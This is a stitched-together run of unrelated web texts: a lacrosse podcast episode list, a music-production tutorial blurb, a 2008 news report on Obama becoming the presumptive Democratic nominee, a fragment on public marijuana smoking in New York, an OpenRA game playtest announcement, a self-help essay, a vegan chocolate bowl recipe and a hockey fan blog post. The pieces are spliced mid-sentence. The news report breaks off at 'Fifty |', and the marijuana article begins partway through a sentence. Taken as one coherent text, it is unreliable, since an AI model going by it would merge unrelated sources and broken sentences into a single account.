258 Clean 8/16 MLL: Championship Preview Kyle Devitte and Chris Rosenthall breakdown the MLL semi-finals and then preview the rubber match between Denver and Ohio. They are joined on the show by Denver's Matt Bocklet and Ohio's Kyle Harrison. Free View in iTunes
259 Clean 8/15 ILWomen: World Cup Recap, USA Commemorative Covers The U.S. National Team won two gold medals in eight days this summer. Halley Quillinan talks about her experience in England, looks ahead to Team USA in 2021 and discusses a special U.S. commemorative issue. Free View in iTunes
260 Clean 8/11 ILPreps: Breakthrough Studs, Flips & Coaching Moves IL's Dan Aburn and Terry Foy transition into the Dead Period by discussing some of the recent stories around the recruiting landscape as they dive into production on the annual Recruiting Issue. Free View in iTunes
261 Clean 8/9 MLL: All-MLL, Playoff Preview and Denver's Eric Law, Ohio's Peter Baum It's playoff time and Kyle Devitte and Chris Rosenthall get you primed for the upcoming MLL semi-finals while also discussing their All-MLL teams. They are joined by two guests in Denver Outlaw's attackman Eric Law and Ohio Machine Midfielder Peter Baum Free View in iTunes
262 Clean 8/7 Lacrosse Industry Pod: What's Next for Lacrosse Retail From the January Lacrosse Industry Summit in Baltimore, IL's Terry Foy moderates a panel conversation with BSN's Ben Connery, Lax.com's John Arrix and True's Jerry Scott (formerly of LaxWorld) discussing how lacrosse players will get their gear in the. Free View in iTunes
263 Clean 8/4 ILPreps: Epoch Committed Academy Recap Dan Aburn, Terry Foy and Geoff Shannon delve into this past weekend's Epoch Committed Academy, imparting their impressions on the overall event and the particular players and recruiting classes that impressed. Free View in iTunes
264 Clean 8/2 MLL: Regular Season Finale, Charlotte's Ryan Brown Fresh off their MLL roundtable pod, IL's Kyle Devitte and Chris Rosenthall review the past week of MLL action and discuss the last weekend of the MLL regular season. They are joined by Charlotte Hounds attackman Ryan Brown. Free View in iTunes
265 Clean 7/31 Lacrosse Industry Pod: What's Next For Sports Media From May's Lacrosse Industry Summit at the Boston Ritz-Carlton, IL's Terry Foy moderates a panel on sports media with NLL's Ashley Dabb, New England Patriots' Fred Kirsch, The Lacrosse Network's Tyler Steinhardt and ESPN's John Vassallo. Free View in iTunes
266 Clean 7/28 IL Preps: Epoch IL Committed Academy Preview IL's Dan Aburn and Terry Foy preview this weekend's Epoch IL Committed Academy, delving into the concept of the idea and highlighting players to look out for. Free View in iTunes
267 Clean 7/26 MLL: Roundtable After last week's controversial podcast, IL's Kyle Devitte and Chris Rosenthall hold a roundtable discussion with Ryan Conwell (Lax All Stars), Phil Shore (US Lacrosse Magazine), and Connor Wilson (Lax All Stars) on the subject of what can be done to i. Free View in iTunes
268 Clean 7/24 Lacrosse Industry Pod: CSE's Lee Corrigan, Legacy's John St. Pierre From May's Lacrosse Industry Summit at the Boston Ritz-Carlton, IL's Dan Flynn hosts a panel discussion with Corrigan Sports Enterprises' founder and President Lee Corrigan and LEGACY Global Sports' founder and CEO John St. Pierre about how to create a. Free View in iTunes
269 Clean 7/21 ILPreps: Recruiting Rules Fallout, Top Summer Clubs, Players An IL roundtable of Terry Foy, Dan Aburn, Geoff Shannon and Josh Davey discuss how the recruiting legislation has affected the summer circuit. They then discuss their top events, clubs and players of the summer. Free View in iTunes
270 Clean 7/19 MLL: New York's Joe Spallina, 'The Trade' & Rants Kyle Devitte and Chris Rosenthall delve into the past weekend of MLL, including the shootout between the Launch and Bayhawks, New York's big win against Charlotte and Rochester's blowout of Boston. Kyle rants about MLL broadcast quality and other topic. Free View in iTunes
271 Clean 7/17 Lacrosse Industry Pod: US Lacrosse's Stenersen, USTA's Jones From Lacrosse Industry Summit: Baltimore held January 19 ahead of the US Lacrosse Convention, IL's Terry Foy hosts a panel with US Lacrosse CEO Steve Stenersen and USTA University's Director of Professional Development Craig Jones about growing "the ba. Free View in iTunes
272 Clean 7/14 Recruiting: ILRI July Session Dan Aburn and Geoff Shannon recap the Inside Lacrosse Recruiting Invitational, including some wild late game heroics from Nation United in the 2018 and 2019 divisions. They also discuss the Naptown National Challenge Finals. Free View in iTunes
273 Clean 7/12 U.S. National Team Tryout Reaction IL's Kyle Devitte and Patrick McEwen join Terry Foy to discuss the first two days of U.S. National Team Tryouts in Sparks, Md., going position by position and discussing topics like the coaches' style and inclusion of college players. Free View in iTunes
274 Clean 7/10 Big Convo with Kyle Harrison & Matt Striebel IL's Terry Foy talks to former U.S. National Team midfielders Kyle Harrison and Matt Striebel about the tryout process as Team USA selection gets underway Monday night in Sparks, Md. Free View in iTunes
275 Clean 7/6 MLL: All-Star Draft, Chesapeake's Mike Evans & Myles Jones Kyle Devitte and Chris Rosenthall recap the July 4 game at Mile High and the rest of the weekend in the MLL before drafting their All-Star teams. They are joined by the Chesapeake Bayhawks' Mike Evans and Myles Jones. Free View in iTunes
276 Clean 7/5 IL Preps: Under Armour All-America Games Dan Aburn and Geoff Shannon recap one of the biggest weekend's of the summer recruiting circuit - Under Armour All-America. They delve into the standouts from the Senior game and then discuss their observations and standouts from the Underclass tournam. Free View in iTunes
277 Clean 7/3 Lacrosse Industry Pod: Alibaba's Joe Tsai From the third Lacrosse Industry Summit in Boston before the NCAA Championship Weekend, IL's Terry Foy talks to Alibaba Executive Vice Chairman Joe Tsai, a former Yale lacrosse player, about his attachment with the game, his outlook on the sport's fut. Free View in iTunes
278 Clean 6/30 ILPreps: Maverik Showtime & Under Armour All-America Preview IL's Terry Foy and Dan Aburn discuss the 2020 and 2021 division of the ILRI: June, then dive into Dan's experience watching 2019s and ’20s at Maverik Showtime and the first block of UA Underclass Games. Foy then brings on Quint Kessenich to discuss th Free View in iTunes
279 Clean 6/28 MLL: MLL Trade Deadline & Atlanta's Scott Ratliff Kyle Devitte and Chris Rosenthall do an MLL trade deadline special, recapping the week before delving into the big trade between the Cannons and the Lizards. They are then joined by Atlanta Blaze LSM Scott Ratliff to talk MLL and the Atlanta music scene Free View in iTunes
280 Clean 6/26 Big Convo with Scott Hensley IL's Terry Foy talks to NPR Editor and Johns Hopkins lacrosse fan Scott Hensley about navigating the challenges facing a modern sports media entity, diving into the nuances of some recent news stories and ending with a conversation of how a fan consume. Free View in iTunes
281 Clean 6/23 ILPreps: ILRI June & Big 4/HHH Champions League Dan Aburn and Geoff Shannon transition from the high school scene to the recruiting circuit on this podcast, imparting some of their impressions from the June Session of the Inside Lacrosse Recruiting Invitational and the Big 4/HHH Champions League and. Free View in iTunes
282 Clean 6/21 MLL: Boston Cannon's Will Manny Kyle Devitte and Chris Rosenthall recap the weekend that was in Major League Lacrosse. They are then joined by Boston Cannons attackman and Utah assistant coach Will Manny. Segments include "Chris Explains Music," in which Chris and Kyle discuss Kanye. Free View in iTunes
283 Clean 6/20 Utah Goes DI with Coach Brian Holman IL's Terry Foy talks with Utah head coach Brian Holman about how he learned of efforts to take Utah's club lacrosse team to varsity status, what appealed to him about the opportunity and what's next, particularly with an eye toward the Pac-12. Free View in iTunes
284 Clean 6/19 Season Review Podcast: Expectations vs. Reality IL's Terry Foy, Dan Aburn, Matt Kinnear and Geoff Shannon sit down for a roundtable discussion of the Division I season. They first discuss the storylines of the season before delving into preseason expectations and how teams and players performed in c. Free View in iTunes
285 Clean 6/16 ILPreps: Championship Roundup Dan Aburn and Geoff Shannon recap championships concluding around the country, including all four NY state championships. They are then joined by IL's Josh Davey to discuss the first Inside Lacrosse Recruiting Invitational next week. Free View in iTunes
286 Clean 6/14 MLL: Rochester Rattler's Jeremy Boltus Kyle Devitte and Chris Rosenthall discuss the week that was in the MLL, including three overtime finishes. They are then joined by Rochester's Jeremy Boltus and give their Midseason All-MLL selections. Free View in iTunes
287 Clean 6/12 Lacrosse Industry Pod: MLL's Gross, NLL's Sakiewicz From Lacrosse Industry Summit: Boston held May 26 at the Ritz-Carlton, IL's Terry Foy hosts a panel discussion with MLL Commissioner Dave Gross and NLL Commissioner Nick Sakiewicz about the issues and opportunities facing the league, from attendance to. Free View in iTunes
288 Clean 6/9 Quint & Foy: Twitter Questions IL's Terry Foy and Quint Kessenich start to wind down the season by taking listener questions from Twitter, addressing the future of the face-off, the dive, the shot clock, the color of the ball, the prospect of varsity lacrosse at Utah, the next Michi. Free View in iTunes
289 Clean 6/7 MLL: Florida Launch Goalie Austin Kaut Kyle Devitte and Chris Rosenthall delve into the week of results in the MLL, discuss the All-Star Game jerseys, and then are joined by Florida Launch goalie Austin Kaut to talk MLL. Free View in iTunes
290 Clean 6/4 Big Convo with Taz IL's Terry Foy talks to Pete Senerchia, better known as former professional wrestler and current radio host Taz, about what it's like to be a Lax Dad on Long Island, thoughts on early recruiting, athlete development and player safety. Of course, they t. Free View in iTunes
291 Clean 6/2 Quint & Foy: Maryland Champs, Rambo Tewaaraton, Terp Alums Reese, Walters, Phipps IL's Quint Kessenich and Terry Foy reflect on Matt Rambo's legacy, dissect Maryland's win over Ohio State and share their likes and dislikes from Championship Weekend, including the dive, the shot clock, iPads and the Gillette Stadium turf. Free View in iTunes
292 Clean 6/1 MLL: Marcus Holman & MLL Draft Grades IL's Kyle Devitte and Chris Rosenthall dive into last Sunday's MLL Draft in which Dylan Molloy was selected No. 1 overall to the Florida Launch, and welcome in Ohio Machine attackman Marcus Holman. Free View in iTunes
293 Clean 5/31 DFly & Dixie Podcast: Fear the Turtle Inside Lacrosse, B1G Network and ESPN analyst Mark Dixon joins IL’s Dan Flynn to talk about the final chapter of String King May Madness. The fellas break down Championship Weekend and pay their respects to the Terps. They also try to give you a behin Free View in iTunes
294 Clean 5/30 In The Crease: The Drought is Over In the final podcast of the season, Dan Aburn and Kyle Devitte recap Maryland's 9-6 victory over Ohio State and the end of the Terps 42-year title drought. They discuss the impending Tewaaraton Award and have their final Weird Watch of the Week. Free View in iTunes
295 Clean 5/29 Rapid Reaction: NCAA Championship From the A Concourse of Boston's Logan Airport, IL's Terry Foy and Dan Aburn pass their flight delay by talking to ESPN's Russ Dlin and D1scourse's Patrick Stevens, bring on Josh Davey to talk about the DIII championship and then, in flight back to Bal. Free View in iTunes
296 Clean 5/26 Quint & Foy: NCAAs, OSU's Fannell, Towson's Adams, Denver's Cannizzaro, Maryland's Muller Looking ahead to NCAA Championship Weekend, IL's Terry Foy and Quint Kessenich discuss the matchups and talk to Ohio State attackman Eric Fannell, Towson shortstick d-middie Jack Adams, Denver attackman Connor Cannizzaro and Maryland defenseman Tim Mul. Free View in iTunes
297 Clean 5/25 ILWomen: NCAA Final Four Preview The sport's biggest stage is here. Halley Quillinan and Matt Kinnear recap a surprising Quarterfinal weekend, talk about the refs and look at the final four teams. Free View in iTunes
298 Clean ILPreps: Under Armour All-Americans with Ty Xanders IL Managing Editor Geoff Shannon and RecruitingRundown.com's Ty Xanders break down the 2017 Under Armour All-American rosters, looking at the unit makeup, most intriguing matchups and more. Free View in iTunes
299 Clean 5/24 MLL Podcast: 2017 Mock Draft Kyle Devitte and Chris Rosenthall discuss the past week in MLL action before delving into their mock for the 2017 MLL draft. Free View in iTunesThis video tutorial offers a few production tips and tricks, which will help you create the ultimate NI Massive Electro Bass sound!
Sometimes building a great sounding Massive Patch just isn’t enough. It may take a bit of zing to make it stand out amongst all the other sounds. In this video tutorial, YouTube user LeviWhalenMusic describes how he used an array of effects to come up with the NI Massive Electro Bass sound for his track It’s all Beautiful.
The bass sound presented is heavily reliant upon Ableton Live’s built-in effects, but it also makes use of multiple third party effects, such as Dada Life’s Sausage Fattener and iZotope’s Alloy. Don’t be alarmed by the tutorials reliance on Ableton Live, as most DAWs are capable of reproducing a similar sound. The key concept of this video is to realize that using effects on a patch or sound can transform them into something unique.On the final day of a marathon campaign,
"I can stand before you and say that I will be the Democratic nominee for the President of the United States of America," Obama declared before a crowd of cheering thousands in St. Paul, Minnesota. (
"America, this is our moment," the 46-year-old senator and one-time community organizer said in his first appearance as the Democratic nominee-in-waiting. "This is our time. Our time to turn the page on the policies of the past."
Obama sang the praises of Hillary Rodham Clinton, who has been his chief rival for the nomination for over a year.
"Senator Hillary Clinton has made history in this campaign," he said. "She has made history not just because she's a woman who has done what no woman has done before, but because she is a leader who inspires millions of Americans with her strength, her courage, and her commitment to the causes that brought us here tonight."
Obama called Clinton at 11:06 p.m. EDT Tuesday night to congratulate her on her South Dakota victory and left a message asking her to call him back, reports CBS News reporter Maria Gavrilovic. They spoke later and Obama offered to meet with Clinton "when it makes sense for her." Clinton said she was "sure that will happen" and thanked him for the call.
Through a combination of delegates won in primary and caucus contests and public endorsements from unpledged superdelegates, Obama has accumulated 2,154 delegates, more than the 2,118 needed for the nomination. (Click here for the full state-by-state tally.)
Even so, Clinton won the Democratic primary in South Dakota, with 55 percent of the vote to 45 percent for Obama. Obama won in Montana - with virtually all precincts reporting, he had 57 percent of the vote to 41 percent for Clinton.
At a rally in New York City,
"This has been a long campaign and I will be making no decisions tonight," Clinton said as the crowd roared its approval. (
"I am committed to uniting our party so we move forward stronger and more ready than ever to take back the White House this November," Clinton said.
A top Clinton adviser told CBS News chief White House correspondent Jim Axelrod that when Clinton decides to get out of race, she'll call her supporters directly to try to ensure that they fall in line behind Obama.
In becoming the presumptive nominee, Obama achieves the historic milestone of becoming the first black candidate to become a major party presidential nominee.
His victory sets up a five-month campaign with Republican Sen. John McCain of Arizona, a race between a first-term Senate opponent of the Iraq War and a 71-year-old former Vietnam prisoner of war and staunch supporter of the current U.S. military mission.
"It's fitting that this hard-fought, historic campaign came down to the final hours of the final day," said CBSNews.com senior political editor Vaughn Ververs. "Obama will have one night to bask in his victory and Clinton perhaps a few days to wind down her campaign. But the celebration will be short-lived as the attention of the Democratic Party will need to quickly shift to reconciliation and the general election against John McCain."
Both men seemed eager to begin on Tuesday.
McCain spoke first, in New Orleans, accusing his younger rival of voting "to deny funds to the soldiers who have done a brilliant and brave job" in Iraq. It was a reference to 2007 legislation to pay for the Iraq war, a measure Obama opposed citing the lack of a timetable for withdrawing troops. (
McCain agreed with Obama that the presidential race would focus on change. "But the choice is between the right change and the wrong change, between going forward and going backward," he said.
As for his general election rival, Obama said, "It's not change when John McCain decided to stand with George Bush 95 percent of the time, as he did in the Senate last year."
"It's not change when he offers four more years of Bush economic policies that have failed to create well-paying jobs...And it's not change when he promises to continue a policy in Iraq that asks everything of our brave young men and women in uniform and nothing of Iraqi politicians," Obama added.
In a symbolic move, Obama spoke in the same hall - filled to capacity - where McCain will accept the Republican nomination at his party's convention in September.
Obama, a first-term senator who was virtually unknown on the national stage four years ago, defeated Clinton, the former first lady and one-time campaign front-runner, in a 17-month marathon for the Democratic nomination.
According to exit polls, most South Dakota Democratic voters (55 percent) think the length of the primary campaign has energized the party, while 39 percent say it has divided it. Fifty |
aroma of espresso beans.
While some New Yorkers’ behavior may have changed, the consequences for possessing a lit joint are still the same — it is a misdemeanor offense punishable by a fine and up to 90 days in jail.
But New Yorkers say it is undeniably in the air.
“Long time ago they used to hide and do it, and now they are doing it out in the open,” Tanya Polite, 49, said as she delivered sandwiches to preschoolers in Williamsburg, Brooklyn. “I smell it a lot. I smell it and go, ‘Pee-ew!’ The smell is so powerful, when you inhale it you get like a contact — a dizzy spell.”
To Ms. Polite and others, open-air marijuana smokers do so to thumb their noses at the police. Others, like Anne Collins, who has lived in Williamsburg for many years, say it is a symptom of an influx of outsiders who bring their values with their suitcases.
“It’s not that it’s New York is a pothead county, or city, it’s you’ve got all these people coming from other places,” Ms. Collins, 53, said. “French, German, Chinese, they are all here. Not to mention all of the Californian yuppies. They carry on their lives as they did where they were.”
Whether a person believes smoking marijuana in public is permissible in New York City can vary depending upon a person’s race, said Harry G. Levine, a sociology professor at Queens College and a researcher with the Marijuana Arrest Research Project, which studies trends in the enforcement of marijuana laws.Archived News » Playtest 20150808
Posted by Oliver Brakmann at 2015-08-08 11:28:00 +0000
We are pleased to announce the second playtest on the road to our next stable release. We have now entered the feature freeze phase, which means that we have stopped adding new features and instead focus on fixing any bugs that you might find. That means that we need your help with testing, testing, and some more testing! Please report any bugs or problems you encounter on our bug tracker. Thank you for helping to improve OpenRA!
A number of new features, fixes, and performance improvements make this a significant improvement over the last playtest and the June release.
We are happy to announce that we have finally addressed a few long-standing performance issues that caused significant lag spikes in the mid to late game. As part of this work, the AI has become a lot smarter about base building, uses support powers more reliably, and harvesters are less likely to become stuck.
Music playback has received quite a lot of changes. Map authors now have much greater control over music, including the ability to specify default (starting) music as well as custom victory and defeat tracks.
Other changes include:
Spies in the Red Alert mod have received a major overhaul, making them much more useful.
Paratroopers can now be selected and given orders before they land.
Two new single-player missions have been added, Soviets 04a and 04b.
Single-player missions have been polished, and Allies 05 has received a new ultra-hard difficulty.
Mission replays can again be viewed through the replay browser.
A warning message is now given when a server admin selects a map with custom rules.
Range circles are now visible to allied players and spectators.
Players can now hide the in-game UI (using a hotkey, bound to Ctrl+Shift+H by default).
We now support installing game content from The First Decade DVD.
Of interest for modders and mappers will be the addition of new Lua API functions. Disguising spies, capturing or infiltrating units and buildings using scripting is now possible. Other newly available functions can be used to play arbitrary sound files, flash the screen, and control the new palette effect trait.
Of course we did not only add new things, but also fixed bugs and annoyances. Here’s a small sample:
A number of crashes have been resolved.
The score screen can now be closed to have a look at the battlefield after the match.
The ‘Options’ button will no longer blink without reason in skirmish maps.
The duration bar on chronoshifted units in the Red Alert mod is no longer visible to enemy players.
The aircraft and helicopter cruise altitude in the Red Alert mod has been increased again.
The unit duplication crate bonus has been removed from the Tiberian Dawn mod.
For all the gritty details check out the full changelog.
Grab the installer for this playtest from our download page and give it a try!
The game will warn players in the lobby when the host selects a map with custom rules. This should help combat the small number of dishonest players who adjusted rules to their advantage. Infiltrating an enemy production building with a spy will let you build veteran units. Allied players and spectators can now see the range circles from units and buildings. New Lua API functions can be used to simulate simple weather effects. Work continues on our Tiberian Sun mod which still isn’t ready for release. Check out these clips from a recorded developer test game!I spent most of my career stressed and frustrated, thinking ahead to the day when I could quit my job and feel “free.”
Well, when I quit my job, it didn’t work that way.
Jumping from the bonfire into the forest fire, doing what I wanted was way harder than anything I had ever done on Wall Street, and my mind simply wasn’t up for the task.
I wanted to write a book. In my head, it sounded easy, almost a bit indulgent. It turned out to be the hardest thing I’d ever done. For days, weeks, months, and eventually years, my stress and frustration went far beyond my ability to manage it.
Those were by far the hardest years of my life. Unwilling to let the overwhelming task beat me, I “forced” my mind to find a way through. For the first time in my life, I was feeling “unhappy,” “depressed,” “anxious,” “fearful.”
I simply wanted to feel amazing every day.
Already thinking I was an “expert” on getting what you want, I realized that I was missing a big piece of the puzzle.
How do you keep taking powerful actions when your mind isn’t up for the task? How do you train yourself to feel great when those things around you (e.g. your life) keep dragging you back down?
So many of us are victims to our minds. The thoughts in our heads constantly turning, few of us feel how we want to feel each day. Tired, we use our daily upper, caffeine. Stressed, we bring ourselves back down with alcohol. Unable to stop that damn machine at night, we put out the lights with sleeping aids.
This is the best our society teaches us to do, but we can do better.
The fact is, you can take complete control of your mind and thoughts. It’s not easy. In fact it’s damn hard. It’s taken me years of daily practice, and I’m still far from perfect at it, but having gone deeper on the mind than is “reasonable” (e.g. hours a day of training) I’ve found enough of the map that I can see the rest of the territory.
Step 1: Start With The Thoughts You Want To Think
Imagine you’re in a dark room, fumbling around the wall for a light switch. Do you stop and reflect on how you came to be in this dark room? Do you analyze the process that led you to walk into a dark room without a flashlight or knowledge of exactly where the light switch is?
No. You find the light switch, and illuminate the room.
So many of us want to get straight to the “fixing.” We want to break down the mental processes that keep us stressed or awake at night, when we’d sleep better if we simply stop thinking about it, and focus on the thoughts we do want.
Ask yourself, how would I like to be thinking right now? Do I want to be stressed and frustrated or at ease? Do I want to be worried about this or that, or feeling like it’s under control?
Then ask yourself, if I were in that state of mind, what thoughts would I be having? How would it feel to be thinking that way?
Just role playing this in your mind, you’ll get a “state change.” Your brain knows how to do it, and like tapping an icon, your brain goes where you direct it.
When you decide, in the moment, to focus on something positive, something pleasant, you’re using your mind (attention) to direct the machine we call the brain.
Step 2: Define The Habits of Who You Want To Be
Step 1 is difficult, there’s no getting around it. Summoning the willpower to tell your mind, “No, this is how I’m going to think right now” is no small feat.
Doing that over and over again, day-in and day-out, is positively Herculean.
That’s why monks spend their lives separated from all worldly “agitations,” and surround themselves with people and in an environment that is only conducive to conditioning that way of being.
Few of us want to cut off the rest of the world just to train our minds, but you too can create the habits and routines that will allow you to control your thoughts more easily and consistently.
In the previous step, you envisioned the way you want to think. Now, envision the person who thinks this way all the time. If you’re trying to banish insecurity and anxiety, envision a version of you who feels supremely confident a majority of the time. If you’re trying to become a more mindful and zen person, imagine the version of you who is unshakeable and always at ease.
What does this person’s day look like?
When they first wake up, how do they respond to grogginess, to the temptation to hit the snooze button?
When they’re in traffic, how do they respond to the delay in their day?
When they’re drawn into a confrontation or conflict at work, how do they feel and respond?
When they decide they are done for the day, how do they disconnect?
Actually imagine yourself going through a complete day as this person, and record how they react to outside stimulus. You will never have complete control over the external stimuli in your day, but you do control how you react.
By doing this exercise, you are giving your brain a map, showing it, specifically, how you want to be. When I’m confronted by an angry client, I will react this way. When I’m under an imposing deadline, I will think that way.
These small daily habits aren’t small at all. Just like 20 pushups a day will condition your body, this is mental conditioning.
Step 3: Tap Into Your Burning Desire
None of this is easy. A common bit of drugstore psychology is the saying, “The hardest part is getting started,” but that’s bullshit. The hardest part is staying committed.
Go to any gym on January 3rd. I guarantee you it will be overrun with people who are “getting started” with their resolution to get in shape this year. Go back to the same gym the first week of February, and most of them will be gone.
Anyone can get started. The world is full of people who registered businesses but never grew them, who quit their jobs to start new lives and ended up in the same place.
What’s rare in this world are the people who stayed the course, who overcame the exhaustion and grind that success demands and changed their lives for the better.
Winners aren’t common, but all of them have one thing in common: burning desire.
The Dalai Lama, potentially the most skilled human being on the planet at “controlling” his own mind, mediates 3-5 hours a day! Seriously!
If you want to master this topic, you must tap into your burning desire and decide what you are willing to do in order to better manage the way you think and feel. At the very least, incorporate these three steps into your Daily Exercises:
Every morning, take ten minutes to ground yourself. Breathe slowly and deeply, focusing on the sensations in your body. Let yourself center in the moment. Think back to a time you felt exactly how you wanted, and embrace that feeling now. Throughout your day, kill negative self-talk. In my article on anxiety, I talked about this. The root of anxiousness is often our internal dialogue. Just as you would turn off a TV program that disturbed you, realize that self-doubt is just a conversation you can end. Before you end your day, rehearse success. Michael Phelps calls it “Putting in the video tape.” Every night before bed, he took time to envision himself swimming and winning the gold medal. At night, imagine yourself waking up how you want to feel and having the most extraordinary day.
Step 4: Build Your Psychological Toolkit
A Mercedes requires different parts, tools, and expertise to work on than a Maybach. The same is true for each of us.
The specifics of what motivates and challenges you are going to be different than what motivates and challenges me. On a day-to-day basis, you’re going to come across situations that consistently challenge your mental self-control, and you’re going to need to find the tools that work for you in overcoming these hurdles.
For example, there are two areas I struggled with for some time due to my belligerent mind. The first was my inability to shake off a negative state. If something went wrong early in my day (often as simple as sitting down to write and nothing coming out), it was hard for me to feel positive or act confidently for the rest of the day.
To crush this, I developed a tool I call The Cure, a four-step process that enables you to change your neurology no matter what is going on around you:
Force a smile. The sensation of your muscles tensing to a smile—even a fake one—signals to your brain that it’s time to be happy. Thrust your arms in the air. Any sudden burst of movement will release tension, get your blood flowing, and get you focused on the present. Motion creates emotion. Repeat a mantra. Something as simple as “Yeah!” or “I’m killing it!” can work wonders by “over-writing” your negative self-talk and letting you vocalize, similar to primal screaming. Deep exhale. Let go of all that tension and relax. Really do this now, just take a deep breath and let it all go, millions of times during the day ☺
The other area I struggled with was getting into a flow state. We all have those moments where we’re “in the zone” and absolutely killing it, but I struggled to get beyond the resistance that was holding me back from fully absorbing in what I was doing.
I created an entire system for getting myself into a flow state on demand, which I call The House of Flow. It’s a bit much to get into right here, but if you want to learn it, I have a free audio file that walks you through it in less than 30 minutes.
Your situations are going to be different than mine, and the tools you need will vary accordingly. The best way to find the tools you need is to accumulate as much knowledge as possible. I guarantee you, someone has developed a mental tool that you can tweak to your needs, you just need to find it.
To that end, I trained with the best teachers in the world, consumed hundreds of audio programs, and read many hundreds of books just on topics of the brain and mind. I am currently writing the best book I can imagine on these tools, but in the meantime I’d suggest that you read at least one book a week (I’d start with this free book on Building Your Limitless Mind) and search for your best answers.
But What If I’m Just An X-Type of Person?
I hear this all the time:
“Well, I’m just an anxious person.”
“I’m just an insomniac.”
“I just have a short attention span.”
No. You aren’t just anything.
Your mind is a fucking supercomputer the likes of which even the brightest humans in the world aren’t even close to understanding.
If you’re reading this article, you’re fluent in an incredibly difficult language, you’re capable of using an abstract network of information-as-electronic-signals we call the Internet, you learned things as an adolescent that the greatest minds in the world didn’t know just one century ago.
You don’t think of these things as significant because everyone around you can say the same, but that just speaks to how incredibly powerful the human brain is.
Your mind isn’t just anything. In the same way that someone with a bad diet and poor physical health can get in shape with the right diet and exercise, you are capable of overcoming any prior conditioning, so long as you are willing to do the work.
The First Step To Success Is Taking Control
In my Do What You Want books, I start with a chapter called Starting With You.
That’s because no matter what you want, all success begins in your head. That requires taking control of your thinking.
To be completely honest, some of you will be able to do this on your own, and others, well, you want to find someone to help you out.
I couldn’t have done this on my own. The task I set my mind was far too hard, and I simply lacked the skills to do it. Even the best teachers in the world couldn’t “save me” from my obsessive mind, but I owe my life to them because they taught me how to build my own solutions to tame it.
If you’re interested in that sort of advice, you can learn more here.
No matter how you go after this topic, know, with absolutely certainty, that you are in control, and with practice you can think and feel exactly how you choose.
P.S. If you found this article helpful, you will likely also get value from these articles:
How To Condition Your Mind
A key To Feeling Amazing—Right Now
Mind Champ
Where’s That North Korea Worry Now?This recipe is brought to you by our super-creative recipe developer Toni Okamoto from Plant Based on a Budget. Today she is sharing how to make a dish (literally) out of vegan chocolate. These handcrafted chocolate bowls transform a simple bowl of ice cream into an elegant, artistic, and thoughtful dessert that is incredibly fun to eat. It’s guaranteed to wow your friends, loved ones, or whoever is lucky enough to receive one. Here’s how it’s done!
Vegan Chocolate Bowls 2015-03-16 19:32:10 Decadent bowls made from chocolate that are ideal for serving ice cream. Write a review Save Recipe Print Ingredients 12 oz bag vegan chocolate chips 4 balloons Pint of non-dairy vanilla ice cream Berries of your choice Mint for garnish Instructions Blow up the balloons into desired bowl size. Heat 2 cups chocolate chips in the microwave for 1½ minutes or until completely melted. Stir to remove lumps. Dip balloon in chocolate three quarters of the way. Place in freezer for five minutes, or until completely hardened. Pop and remove the balloon. Serve with favorite vegan vanilla ice cream, berries, and mint. By Toni Okamoto World of Vegan http://www.worldofvegan.com/
Chocolate Bowls: The dreamiest of desserts!
Imagine biting into the crunch of the hard chocolate and moving onto the creaminess of the ice cream! Crunch and smoothness are two of the must-have textures on an amazing dessert. You can fill it up with any vegan ice cream you prefer but make sure it’s soft enough to start melting a bit right before serving. Vanilla is always a winner but you could venture with salted caramel if you’re feeling ultra fancy. The truth is anything sounds good when there is crunchy chocolate involved. Am I right?
Top it with some berries or sprinkle with some nuts and drizzle some caramel sauce on top! And voila! You have the dreamiest dessert! You won’t find many recipes as smooth and as crowd-pleasing as this one. Who doesn’t love chocolate bowls?
So give these a try and let us know how it went!
Note: while it’s easy to find vegan chocolate, it takes some additional effort to find chocolate that has been sourced humanely, from workers who are paid and treated fairly. Take a look at the Food Empowerment Project chocolate list to see a selection of vegan chocolate companies that you can trust.
Want to indulge with more yummy chocolaty recipes? Check these out:The game preview will be up tomorrow, but ahead of tomorrow’s game against the Second Rate Rivals, I want to present an opportunity. The New Jersey Devils lost their last seven games. The team hasn’t looked good in except in two of those losses (your mileage may vary). This is a rivalry game and fan morale is low. But there’s an opportunity to make a difference. And it’s in one word:
Woo.
It’s been made iconic by one of the greatest professional wrestlers of our time, the Rolex-wearin’, diamond-ring wearin’, kiss-stealin’, wheelin’-dealin’, limousine-ridin’, jet-flyin’, son of a gun - the Nature Boy, Ric Flair. It’s continued on because Flair’s the man and his daughter Charlotte is a champion (for this month at least).
It’s been a noise made popular at a lot of events beyond wrestling shows. You’ve probably heard it at Devils games. Apparently at games hosted by the Philadelphia Flyers too. Maybe you like it. Maybe you don’t. But do you know who hates it? A number of the players for the Philadelphia Flyers and their head coach David Hakstol.
According to this post by Tim Panaccio at CSNPhilly on December 1, the Flyers went public with their annoyance about the ‘woo.’ Here’s the relevant part of the post:
Even though he started a “wooing” chant recently after a Flyers goal, even rookie Travis Konecny says the incessant Ric Flair chants from fans at the Wells Fargo Center have become distracting. Veteran Flyer Jakub Voracek was very vocal in his dislike for it. “It’s childish and annoying and it’s really starting to piss me off,” Voracek said. “The first period they are (bleeping) wooing. What are you? (Bleeping) 10 years old?” Hakstol was not pleased, either. “Let’s hope it’s a short-lived fad,” he said.
You know what’s annoying? Auto-playing videos on websites. Anyway, this statement is kind of rare to me. I can’t recall a time where, after a game, members of the organization speak out about something utterly harmless and inoffensive their own fans are doing. And admitting that it bothers them. Fans of any team opposing Philly now have the ammunition to irritate the Flyers. Which I, a fan on the right side of this rivalry, think is excellent. I and many other Devils fans now know what to yell tomorrow night at the Rock to get under a rival’s skin. I think that would be worth pursuing even if the Devils continue their awful streak.
But that’s just one way to look at this. Allow me to offer a different kind of perspective. First, please run, do not walk, to your collection of musical instruments so you can play a tiny violin for Mr. Jakub Voracek, Mr. Travis Konecny, and Mr. Dave Hakstol. While you do that, allow me to keep it real for a little bit.
Let’s pretend you’ve made a series of bad life choices and become a Flyers fan. (This will only last about two paragraphs, you can do it.) You’re watching the Flyers play. You’re pretty pleased. Even though you support Philly, you have the intelligence to at least know who Ric Flair is. In fact, if you’re from the Philly area, then you probably understand plenty about pro wrestling. You recognize that he’s been the man for so long that he’s a legend at it. You may not have the custom made clothes. You may not have the Rolex watches. You may not be able to have shoes that cost more than someone’s house. But you know about the woo. You know it can intimidate as much as it expresses joy or excitement. So you’re pretty jazzed that Steve Mason isn’t a sieve, Andrew MacDonald hasn’t been himself, and the team’s been hot. You’re all fired up. You let out the ‘woo’ when you can and you’re joined by thousands. All good, right?
